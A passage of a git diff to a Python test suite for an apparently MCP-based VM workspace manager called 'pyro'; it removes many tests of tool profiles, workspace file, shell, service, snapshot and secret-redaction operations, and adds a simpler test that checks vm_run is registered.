assert int(result["exit_code"]) == 0 assert str(result["stdout"]) == "ok\n" -def test_pyro_create_server_defaults_to_workspace_core_profile(tmp_path: Path) -> None: +def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: pyro = Pyro( manager=VmManager( backend_name="mock", @@ -75,258 +39,14 @@ def test_pyro_create_server_defaults_to_workspace_core_profile(tmp_path: Path) - ) ) - async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + async def _run() -> list[str]: server = pyro.create_server() tools = await server.list_tools() - tool_map = {tool.name: tool.model_dump() for tool in tools} - return sorted(tool_map), tool_map - - tool_names, tool_map = asyncio.run(_run()) - assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) - create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] - assert "network_policy" not in create_properties - assert "secrets" not in create_properties - exec_properties = tool_map["workspace_exec"]["inputSchema"]["properties"] - assert "secret_env" not in exec_properties - assert "shell_open" not in tool_map - assert "service_start" not in tool_map - assert "snapshot_create" not in tool_map - assert "workspace_disk_export" not in tool_map - - -def test_pyro_create_server_workspace_full_profile_keeps_shell_read_schema(tmp_path: Path) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: - server = pyro.create_server(profile="workspace-full") - tools = await server.list_tools() - tool_map = {tool.name: tool.model_dump() for tool in tools} - return sorted(tool_map), tool_map - - tool_names, tool_map = asyncio.run(_run()) - assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS)) - shell_read_properties = tool_map["shell_read"]["inputSchema"]["properties"] - assert "plain" in shell_read_properties - assert "wait_for_idle_ms" in shell_read_properties - - -def test_pyro_create_server_vm_run_profile_registers_only_vm_run(tmp_path: Path) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - async def _run() -> list[str]: - server = pyro.create_server(profile="vm-run") - tools = await server.list_tools() return sorted(tool.name for tool in tools) - assert tuple(asyncio.run(_run())) == PUBLIC_MCP_VM_RUN_PROFILE_TOOLS - - -def test_pyro_create_server_workspace_core_profile_registers_expected_tools_and_schemas( - tmp_path: Path, -) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: - server = pyro.create_server(profile="workspace-core") - tools = await server.list_tools() - tool_map = {tool.name: tool.model_dump() for tool in tools} - return sorted(tool_map), tool_map - - tool_names, tool_map = asyncio.run(_run()) - assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) - create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] - assert "network_policy" not in create_properties - assert "secrets" not in create_properties - exec_properties = tool_map["workspace_exec"]["inputSchema"]["properties"] - assert "secret_env" not in exec_properties - assert "shell_open" not in tool_map - assert "service_start" not in tool_map - assert "snapshot_create" not in tool_map - assert "workspace_disk_export" not in tool_map - - -def test_pyro_create_server_repro_fix_mode_registers_expected_tools_and_schemas( - tmp_path: Path, -) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: - server = pyro.create_server(mode="repro-fix") - tools = await server.list_tools() - tool_map = {tool.name: tool.model_dump() for tool in tools} - return sorted(tool_map), tool_map - - tool_names, tool_map = asyncio.run(_run()) - assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_REPRO_FIX_MODE_TOOLS)) - create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] - assert "network_policy" not in create_properties - assert "secrets" not in create_properties - exec_properties = tool_map["workspace_exec"]["inputSchema"]["properties"] - assert "secret_env" not in exec_properties - assert "service_start" not in tool_map - assert "shell_open" not in tool_map - assert "snapshot_create" not in tool_map - assert "reproduce a failure" in str(tool_map["workspace_create"]["description"]) - - -def test_pyro_create_server_cold_start_mode_registers_expected_tools_and_schemas( - tmp_path: Path, -) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: - server = pyro.create_server(mode="cold-start") - tools = await server.list_tools() - tool_map = {tool.name: tool.model_dump() for tool in tools} - return sorted(tool_map), tool_map - - tool_names, tool_map = asyncio.run(_run()) - assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_COLD_START_MODE_TOOLS)) - assert "shell_open" not in tool_map - assert "snapshot_create" not in tool_map - service_start_properties = tool_map["service_start"]["inputSchema"]["properties"] - assert "secret_env" not in service_start_properties - assert "published_ports" not in service_start_properties - create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] - assert "network_policy" not in create_properties - - -def test_pyro_create_server_review_eval_mode_registers_expected_tools_and_schemas( - tmp_path: Path, -) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: - server = pyro.create_server(mode="review-eval") - tools = await server.list_tools() - tool_map = {tool.name: tool.model_dump() for tool in tools} - return sorted(tool_map), tool_map - - tool_names, tool_map = asyncio.run(_run()) - assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS)) - assert "service_start" not in tool_map - assert "shell_open" in tool_map - assert "snapshot_create" in tool_map - shell_open_properties = tool_map["shell_open"]["inputSchema"]["properties"] - assert "secret_env" not in shell_open_properties - - -def test_pyro_create_server_inspect_mode_registers_expected_tools(tmp_path: Path) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - async def _run() -> list[str]: - server = pyro.create_server(mode="inspect") - tools = await server.list_tools() - return sorted(tool.name for tool in tools) - - assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_INSPECT_MODE_TOOLS)) - - -def test_pyro_create_server_rejects_mode_and_non_default_profile(tmp_path: Path) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - with pytest.raises(ValueError, match="mutually exclusive"): - pyro.create_server(profile="workspace-full", mode="repro-fix") - - -def test_pyro_create_server_project_path_updates_workspace_create_description_and_default_seed( - tmp_path: Path, -) -> None: - repo = _make_repo(tmp_path / "repo", content="project-aware\n") - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - async def _run() -> tuple[dict[str, Any], dict[str, Any], dict[str, Any]]: - server = pyro.create_server(project_path=repo) - tools = await server.list_tools() - tool_map = {tool.name: tool.model_dump() for tool in tools} - created = _extract_structured( - await server.call_tool( - "workspace_create", - { - "environment": "debian:12-base", - "allow_host_compat": True, - }, - ) - ) - executed = _extract_structured( - await server.call_tool( - "workspace_exec", - { - "workspace_id": created["workspace_id"], - "command": "cat note.txt", - }, - ) - ) - return tool_map["workspace_create"], created, executed - - workspace_create_tool, created, executed = asyncio.run(_run()) - assert "If `seed_path` is omitted" in str(workspace_create_tool["description"]) - assert str(repo.resolve()) in str(workspace_create_tool["description"]) - assert created["workspace_seed"]["origin_kind"] == "project_path" - assert created["workspace_seed"]["origin_ref"] == str(repo.resolve()) - assert executed["stdout"] == "project-aware\n" + tool_names = asyncio.run(_run()) + assert "vm_run" in tool_names + assert "vm_create" in tool_names def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: @@ -354,1191 +74,12 @@ def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: { "environment": "debian:12-base", "command": "printf 'ok\\n'", + "vcpu_count": 1, + "mem_mib": 512, "network": False, - "allow_host_compat": True, }, ) ) result = asyncio.run(_run()) assert int(result["exit_code"]) == 0 - - -def test_pyro_create_vm_defaults_sizing_and_host_compat(tmp_path: Path) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - created = pyro.create_vm( - environment="debian:12-base", - allow_host_compat=True, - ) - - assert created["vcpu_count"] == 1 - assert created["mem_mib"] == 1024 - assert created["allow_host_compat"] is True - - -def test_pyro_workspace_network_policy_and_published_ports_delegate() -> None: - calls: list[tuple[str, dict[str, Any]]] = [] - - class StubManager: - def create_workspace(self, **kwargs: Any) -> dict[str, Any]: - calls.append(("create_workspace", kwargs)) - return {"workspace_id": "workspace-123"} - - def list_workspaces(self) -> dict[str, Any]: - calls.append(("list_workspaces", {})) - return {"count": 1, "workspaces": [{"workspace_id": "workspace-123"}]} - - def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: - calls.append(("update_workspace", {"workspace_id": workspace_id, **kwargs})) - return {"workspace_id": workspace_id, "name": "repro-fix", "labels": {"owner": "codex"}} - - def start_service( - self, - workspace_id: str, - service_name: str, - **kwargs: Any, - ) -> dict[str, Any]: - calls.append( - ( - "start_service", - { - "workspace_id": workspace_id, - "service_name": service_name, - **kwargs, - }, - ) - ) - return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} - - pyro = Pyro(manager=cast(Any, StubManager())) - - pyro.create_workspace( - environment="debian:12", - network_policy="egress+published-ports", - name="repro-fix", - labels={"issue": "123"}, - ) - pyro.list_workspaces() - pyro.update_workspace( - "workspace-123", - name="repro-fix", - labels={"owner": "codex"}, - clear_labels=["issue"], - ) - pyro.start_service( - "workspace-123", - "web", - command="python3 -m http.server 8080", - published_ports=[{"guest_port": 8080, "host_port": 18080}], - ) - - assert calls[0] == ( - "create_workspace", - { - "environment": "debian:12", - "vcpu_count": 1, - "mem_mib": 1024, - "ttl_seconds": 600, - "network_policy": "egress+published-ports", - "allow_host_compat": False, - "seed_path": None, - "secrets": None, - "name": "repro-fix", - "labels": {"issue": "123"}, - }, - ) - assert calls[1] == ( - "list_workspaces", - {}, - ) - assert calls[2] == ( - "update_workspace", - { - "workspace_id": "workspace-123", - "name": "repro-fix", - "clear_name": False, - "labels": {"owner": "codex"}, - "clear_labels": ["issue"], - }, - ) - assert calls[3] == ( - "start_service", - { - "workspace_id": "workspace-123", - "service_name": "web", - "command": "python3 -m http.server 8080", - "cwd": "/workspace", - "readiness": None, - "ready_timeout_seconds": 30, - "ready_interval_ms": 500, - "secret_env": None, - "published_ports": [{"guest_port": 8080, "host_port": 18080}], - }, - ) - - -def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: - pyro = Pyro( - manager=VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - ) - - source_dir = tmp_path / "seed" - source_dir.mkdir() - (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") - secret_file = tmp_path / "token.txt" - secret_file.write_text("from-file\n", encoding="utf-8") - - created = pyro.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - seed_path=source_dir, - name="repro-fix", - labels={"issue": "123"}, - secrets=[ - {"name": "API_TOKEN", "value": "expected"}, - {"name": "FILE_TOKEN", "file_path": str(secret_file)}, - ], - ) - workspace_id = str(created["workspace_id"]) - listed_before = pyro.list_workspaces() - updated_metadata = pyro.update_workspace( - workspace_id, - labels={"owner": "codex"}, - clear_labels=["issue"], - ) - updated_dir = tmp_path / "updated" - updated_dir.mkdir() - (updated_dir / "more.txt").write_text("more\n", encoding="utf-8") - synced = pyro.push_workspace_sync(workspace_id, updated_dir, dest="subdir") - executed = pyro.exec_workspace( - workspace_id, - command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', - secret_env={"API_TOKEN": "API_TOKEN"}, - ) - listed_files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) - file_read = pyro.read_workspace_file(workspace_id, "note.txt") - file_write = pyro.write_workspace_file( - workspace_id, - "src/app.py", - text="print('hello from file op')\n", - ) - patch_result = pyro.apply_workspace_patch( - workspace_id, - patch=( - "--- a/note.txt\n" - "+++ b/note.txt\n" - "@@ -1 +1 @@\n" - "-ok\n" - "+patched\n" - ), - ) - diff_payload = pyro.diff_workspace(workspace_id) - snapshot = pyro.create_snapshot(workspace_id, "checkpoint") - snapshots = pyro.list_snapshots(workspace_id) - export_path = tmp_path / "exported-note.txt" - exported = pyro.export_workspace(workspace_id, "note.txt", output_path=export_path) - shell = pyro.open_shell( - workspace_id, - secret_env={"API_TOKEN": "API_TOKEN"}, - ) - shell_id = str(shell["shell_id"]) - pyro.write_shell(workspace_id, shell_id, input='printf "%s\\n" "$API_TOKEN"') - shell_output: dict[str, Any] = {} - deadline = time.time() + 5 - while time.time() < deadline: - shell_output = pyro.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) - if "[REDACTED]" in str(shell_output.get("output", "")): - break - time.sleep(0.05) - shell_closed = pyro.close_shell(workspace_id, shell_id) - service = pyro.start_service( - workspace_id, - "app", - command=( - 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' - 'touch .ready; while true; do sleep 60; done\'' - ), - readiness={"type": "file", "path": ".ready"}, - secret_env={"API_TOKEN": "API_TOKEN"}, - ) - services = pyro.list_services(workspace_id) - service_status = pyro.status_service(workspace_id, "app") - service_logs = pyro.logs_service(workspace_id, "app", all=True) - summary = pyro.summarize_workspace(workspace_id) - reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") - deleted_snapshot = pyro.delete_snapshot(workspace_id, "checkpoint") - status = pyro.status_workspace(workspace_id) - logs = pyro.logs_workspace(workspace_id) - deleted = pyro.delete_workspace(workspace_id) - - assert created["secrets"] == [ - {"name": "API_TOKEN", "source_kind": "literal"}, - {"name": "FILE_TOKEN", "source_kind": "file"}, - ] - assert created["name"] == "repro-fix" - assert created["labels"] == {"issue": "123"} - assert listed_before["count"] == 1 - assert listed_before["workspaces"][0]["name"] == "repro-fix" - assert updated_metadata["labels"] == {"owner": "codex"} - assert executed["stdout"] == "[REDACTED]\n" - assert any(entry["path"] == "/workspace/note.txt" for entry in listed_files["entries"]) - assert file_read["content"] == "ok\n" - assert file_write["path"] == "/workspace/src/app.py" - assert file_write["bytes_written"] == len("print('hello from file op')\n".encode("utf-8")) - assert patch_result["changed"] is True - assert patch_result["entries"] == [{"path": "/workspace/note.txt", "status": "modified"}] - assert created["workspace_seed"]["mode"] == "directory" - assert synced["workspace_sync"]["destination"] == "/workspace/subdir" - assert diff_payload["changed"] is True - assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" - assert snapshots["count"] == 2 - assert exported["output_path"] == str(export_path) - assert export_path.read_text(encoding="utf-8") == "patched\n" - assert shell_output["output"].count("[REDACTED]") >= 1 - assert shell_closed["closed"] is True - assert service["state"] == "running" - assert services["count"] == 1 - assert service_status["state"] == "running" - assert service_logs["stderr"].count("[REDACTED]") >= 1 - assert service_logs["tail_lines"] is None - assert summary["workspace_id"] == workspace_id - assert summary["commands"]["total"] >= 1 - assert summary["changes"]["available"] is True - assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" - assert reset["secrets"] == created["secrets"] - assert deleted_snapshot["deleted"] is True - assert status["command_count"] == 0 - assert status["service_count"] == 0 - assert logs["count"] == 0 - assert deleted["deleted"] is True - - -def test_pyro_workspace_disk_methods_delegate_to_manager() -> None: - calls: list[tuple[str, dict[str, Any]]] = [] - - class StubManager: - def stop_workspace(self, workspace_id: str) -> dict[str, Any]: - calls.append(("stop_workspace", {"workspace_id": workspace_id})) - return {"workspace_id": workspace_id, "state": "stopped"} - - def start_workspace(self, workspace_id: str) -> dict[str, Any]: - calls.append(("start_workspace", {"workspace_id": workspace_id})) - return {"workspace_id": workspace_id, "state": "started"} - - def export_workspace_disk(self, workspace_id: str, *, output_path: Path) -> dict[str, Any]: - calls.append( - ( - "export_workspace_disk", - {"workspace_id": workspace_id, "output_path": str(output_path)}, - ) - ) - return {"workspace_id": workspace_id, "output_path": str(output_path)} - - def list_workspace_disk( - self, - workspace_id: str, - *, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - calls.append( - ( - "list_workspace_disk", - { - "workspace_id": workspace_id, - "path": path, - "recursive": recursive, - }, - ) - ) - return {"workspace_id": workspace_id, "entries": []} - - def read_workspace_disk( - self, - workspace_id: str, - *, - path: str, - max_bytes: int = 65536, - ) -> dict[str, Any]: - calls.append( - ( - "read_workspace_disk", - { - "workspace_id": workspace_id, - "path": path, - "max_bytes": max_bytes, - }, - ) - ) - return {"workspace_id": workspace_id, "content": ""} - - pyro = Pyro(manager=cast(Any, StubManager())) - - stopped = pyro.stop_workspace("workspace-123") - started = pyro.start_workspace("workspace-123") - exported = pyro.export_workspace_disk("workspace-123", output_path=Path("/tmp/workspace.ext4")) - listed = pyro.list_workspace_disk("workspace-123", path="/workspace/src", recursive=True) - read = pyro.read_workspace_disk("workspace-123", "note.txt", max_bytes=4096) - - assert stopped["state"] == "stopped" - assert started["state"] == "started" - assert exported["output_path"] == "/tmp/workspace.ext4" - assert listed["entries"] == [] - assert read["content"] == "" - assert calls == [ - ("stop_workspace", {"workspace_id": "workspace-123"}), - ("start_workspace", {"workspace_id": "workspace-123"}), - ( - "export_workspace_disk", - { - "workspace_id": "workspace-123", - "output_path": "/tmp/workspace.ext4", - }, - ), - ( - "list_workspace_disk", - { - "workspace_id": "workspace-123", - "path": "/workspace/src", - "recursive": True, - }, - ), - ( - "read_workspace_disk", - { - "workspace_id": "workspace-123", - "path": "note.txt", - "max_bytes": 4096, - }, - ), - ] - - -def test_pyro_create_server_workspace_disk_tools_delegate() -> None: - calls: list[tuple[str, dict[str, Any]]] = [] - - class StubManager: - def stop_workspace(self, workspace_id: str) -> dict[str, Any]: - calls.append(("stop_workspace", {"workspace_id": workspace_id})) - return {"workspace_id": workspace_id, "state": "stopped"} - - def start_workspace(self, workspace_id: str) -> dict[str, Any]: - calls.append(("start_workspace", {"workspace_id": workspace_id})) - return {"workspace_id": workspace_id, "state": "started"} - - def export_workspace_disk(self, workspace_id: str, *, output_path: str) -> dict[str, Any]: - calls.append( - ( - "export_workspace_disk", - {"workspace_id": workspace_id, "output_path": output_path}, - ) - ) - return {"workspace_id": workspace_id, "output_path": output_path} - - def list_workspace_disk( - self, - workspace_id: str, - *, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - calls.append( - ( - "list_workspace_disk", - { - "workspace_id": workspace_id, - "path": path, - "recursive": recursive, - }, - ) - ) - return {"workspace_id": workspace_id, "entries": []} - - def read_workspace_disk( - self, - workspace_id: str, - *, - path: str, - max_bytes: int = 65536, - ) -> dict[str, Any]: - calls.append( - ( - "read_workspace_disk", - { - "workspace_id": workspace_id, - "path": path, - "max_bytes": max_bytes, - }, - ) - ) - return {"workspace_id": workspace_id, "content": ""} - - pyro = Pyro(manager=cast(Any, StubManager())) - - def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - async def _run() -> tuple[dict[str, Any], ...]: - server = pyro.create_server(profile="workspace-full") - stopped = _extract_structured( - await server.call_tool("workspace_stop", {"workspace_id": "workspace-123"}) - ) - started = _extract_structured( - await server.call_tool("workspace_start", {"workspace_id": "workspace-123"}) - ) - exported = _extract_structured( - await server.call_tool( - "workspace_disk_export", - { - "workspace_id": "workspace-123", - "output_path": "/tmp/workspace.ext4", - }, - ) - ) - listed = _extract_structured( - await server.call_tool( - "workspace_disk_list", - { - "workspace_id": "workspace-123", - "path": "/workspace/src", - "recursive": True, - }, - ) - ) - read = _extract_structured( - await server.call_tool( - "workspace_disk_read", - { - "workspace_id": "workspace-123", - "path": "note.txt", - "max_bytes": 4096, - }, - ) - ) - return stopped, started, exported, listed, read - - stopped, started, exported, listed, read = asyncio.run(_run()) - assert stopped["state"] == "stopped" - assert started["state"] == "started" - assert exported["output_path"] == "/tmp/workspace.ext4" - assert listed["entries"] == [] - assert read["content"] == "" - assert calls == [ - ("stop_workspace", {"workspace_id": "workspace-123"}), - ("start_workspace", {"workspace_id": "workspace-123"}), - ( - "export_workspace_disk", - { - "workspace_id": "workspace-123", - "output_path": "/tmp/workspace.ext4", - }, - ), - ( - "list_workspace_disk", - { - "workspace_id": "workspace-123", - "path": "/workspace/src", - "recursive": True, - }, - ), - ( - "read_workspace_disk", - { - "workspace_id": "workspace-123", - "path": "note.txt", - "max_bytes": 4096, - }, - ), - ] - - -def test_pyro_workspace_file_methods_delegate_to_manager() -> None: - calls: list[tuple[str, dict[str, Any]]] = [] - - class StubManager: - def list_workspace_files( - self, - workspace_id: str, - *, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - calls.append( - ( - "list_workspace_files", - { - "workspace_id": workspace_id, - "path": path, - "recursive": recursive, - }, - ) - ) - return {"workspace_id": workspace_id, "entries": []} - - def read_workspace_file( - self, - workspace_id: str, - path: str, - *, - max_bytes: int = 65536, - ) -> dict[str, Any]: - calls.append( - ( - "read_workspace_file", - { - "workspace_id": workspace_id, - "path": path, - "max_bytes": max_bytes, - }, - ) - ) - return {"workspace_id": workspace_id, "content": "hello\n"} - - def write_workspace_file( - self, - workspace_id: str, - path: str, - *, - text: str, - ) -> dict[str, Any]: - calls.append( - ( - "write_workspace_file", - { - "workspace_id": workspace_id, - "path": path, - "text": text, - }, - ) - ) - return {"workspace_id": workspace_id, "bytes_written": len(text.encode("utf-8"))} - - def apply_workspace_patch( - self, - workspace_id: str, - *, - patch: str, - ) -> dict[str, Any]: - calls.append( - ( - "apply_workspace_patch", - { - "workspace_id": workspace_id, - "patch": patch, - }, - ) - ) - return {"workspace_id": workspace_id, "changed": True} - - pyro = Pyro(manager=cast(Any, StubManager())) - - listed = pyro.list_workspace_files("workspace-123", path="/workspace/src", recursive=True) - read = pyro.read_workspace_file("workspace-123", "note.txt", max_bytes=4096) - written = pyro.write_workspace_file("workspace-123", "src/app.py", text="print('hi')\n") - patched = pyro.apply_workspace_patch( - "workspace-123", - patch="--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", - ) - - assert listed["entries"] == [] - assert read["content"] == "hello\n" - assert written["bytes_written"] == len("print('hi')\n".encode("utf-8")) - assert patched["changed"] is True - assert calls == [ - ( - "list_workspace_files", - { - "workspace_id": "workspace-123", - "path": "/workspace/src", - "recursive": True, - }, - ), - ( - "read_workspace_file", - { - "workspace_id": "workspace-123", - "path": "note.txt", - "max_bytes": 4096, - }, - ), - ( - "write_workspace_file", - { - "workspace_id": "workspace-123", - "path": "src/app.py", - "text": "print('hi')\n", - }, - ), - ( - "apply_workspace_patch", - { - "workspace_id": "workspace-123", - "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", - }, - ), - ] - - -def test_pyro_create_server_workspace_file_tools_delegate() -> None: - calls: list[tuple[str, dict[str, Any]]] = [] - - class StubManager: - def list_workspace_files( - self, - workspace_id: str, - *, - path: str = "/workspace", - recursive: bool = False, - ) -> dict[str, Any]: - calls.append( - ( - "list_workspace_files", - { - "workspace_id": workspace_id, - "path": path, - "recursive": recursive, - }, - ) - ) - return {"workspace_id": workspace_id, "entries": []} - - def read_workspace_file( - self, - workspace_id: str, - path: str, - *, - max_bytes: int = 65536, - ) -> dict[str, Any]: - calls.append( - ( - "read_workspace_file", - { - "workspace_id": workspace_id, - "path": path, - "max_bytes": max_bytes, - }, - ) - ) - return {"workspace_id": workspace_id, "content": "hello\n"} - - def write_workspace_file( - self, - workspace_id: str, - path: str, - *, - text: str, - ) -> dict[str, Any]: - calls.append( - ( - "write_workspace_file", - { - "workspace_id": workspace_id, - "path": path, - "text": text, - }, - ) - ) - return {"workspace_id": workspace_id, "bytes_written": len(text.encode("utf-8"))} - - def apply_workspace_patch( - self, - workspace_id: str, - *, - patch: str, - ) -> dict[str, Any]: - calls.append( - ( - "apply_workspace_patch", - { - "workspace_id": workspace_id, - "patch": patch, - }, - ) - ) - return {"workspace_id": workspace_id, "changed": True} - - pyro = Pyro(manager=cast(Any, StubManager())) - - def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - async def _run() -> tuple[dict[str, Any], ...]: - server = pyro.create_server() - listed = _extract_structured( - await server.call_tool( - "workspace_file_list", - { - "workspace_id": "workspace-123", - "path": "/workspace/src", - "recursive": True, - }, - ) - ) - read = _extract_structured( - await server.call_tool( - "workspace_file_read", - { - "workspace_id": "workspace-123", - "path": "note.txt", - "max_bytes": 4096, - }, - ) - ) - written = _extract_structured( - await server.call_tool( - "workspace_file_write", - { - "workspace_id": "workspace-123", - "path": "src/app.py", - "text": "print('hi')\n", - }, - ) - ) - patched = _extract_structured( - await server.call_tool( - "workspace_patch_apply", - { - "workspace_id": "workspace-123", - "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", - }, - ) - ) - return listed, read, written, patched - - listed, read, written, patched = asyncio.run(_run()) - assert listed["entries"] == [] - assert read["content"] == "hello\n" - assert written["bytes_written"] == len("print('hi')\n".encode("utf-8")) - assert patched["changed"] is True - assert calls == [ - ( - "list_workspace_files", - { - "workspace_id": "workspace-123", - "path": "/workspace/src", - "recursive": True, - }, - ), - ( - "read_workspace_file", - { - "workspace_id": "workspace-123", - "path": "note.txt", - "max_bytes": 4096, - }, - ), - ( - "write_workspace_file", - { - "workspace_id": "workspace-123", - "path": "src/app.py", - "text": "print('hi')\n", - }, - ), - ( - "apply_workspace_patch", - { - "workspace_id": "workspace-123", - "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", - }, - ), - ] - - -def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> None: - calls: list[tuple[str, dict[str, Any]]] = [] - - class StubManager: - def status_workspace(self, workspace_id: str) -> dict[str, Any]: - calls.append(("status_workspace", {"workspace_id": workspace_id})) - return {"workspace_id": workspace_id, "state": "started"} - - def logs_workspace(self, workspace_id: str) -> dict[str, Any]: - calls.append(("logs_workspace", {"workspace_id": workspace_id})) - return {"workspace_id": workspace_id, "count": 0, "entries": []} - - def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: - calls.append(("summarize_workspace", {"workspace_id": workspace_id})) - return { - "workspace_id": workspace_id, - "state": "started", - "changes": {"available": True, "changed": False, "summary": None, "entries": []}, - } - - def open_shell( - self, - workspace_id: str, - *, - cwd: str = "/workspace", - cols: int = 120, - rows: int = 30, - secret_env: dict[str, str] | None = None, - ) -> dict[str, Any]: - calls.append( - ( - "open_shell", - { - "workspace_id": workspace_id, - "cwd": cwd, - "cols": cols, - "rows": rows, - "secret_env": secret_env, - }, - ) - ) - return {"workspace_id": workspace_id, "shell_id": "shell-1", "state": "running"} - - def read_shell( - self, - workspace_id: str, - shell_id: str, - *, - cursor: int = 0, - max_chars: int = 65536, - plain: bool = False, - wait_for_idle_ms: int | None = None, - ) -> dict[str, Any]: - calls.append( - ( - "read_shell", - { - "workspace_id": workspace_id, - "shell_id": shell_id, - "cursor": cursor, - "max_chars": max_chars, - "plain": plain, - "wait_for_idle_ms": wait_for_idle_ms, - }, - ) - ) - return {"workspace_id": workspace_id, "shell_id": shell_id, "output": ""} - - def write_shell( - self, - workspace_id: str, - shell_id: str, - *, - input_text: str, - append_newline: bool = True, - ) -> dict[str, Any]: - calls.append( - ( - "write_shell", - { - "workspace_id": workspace_id, - "shell_id": shell_id, - "input_text": input_text, - "append_newline": append_newline, - }, - ) - ) - return { - "workspace_id": workspace_id, - "shell_id": shell_id, - "input_length": len(input_text), - } - - def signal_shell( - self, - workspace_id: str, - shell_id: str, - *, - signal_name: str = "INT", - ) -> dict[str, Any]: - calls.append( - ( - "signal_shell", - { - "workspace_id": workspace_id, - "shell_id": shell_id, - "signal_name": signal_name, - }, - ) - ) - return {"workspace_id": workspace_id, "shell_id": shell_id, "signal": signal_name} - - def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: - calls.append( - ("close_shell", {"workspace_id": workspace_id, "shell_id": shell_id}) - ) - return {"workspace_id": workspace_id, "shell_id": shell_id, "closed": True} - - def start_service( - self, - workspace_id: str, - service_name: str, - **kwargs: Any, - ) -> dict[str, Any]: - calls.append( - ( - "start_service", - { - "workspace_id": workspace_id, - "service_name": service_name, - **kwargs, - }, - ) - ) - return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} - - pyro = Pyro(manager=cast(Any, StubManager())) - - def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - async def _run() -> tuple[dict[str, Any], ...]: - server = pyro.create_server(profile="workspace-full") - status = 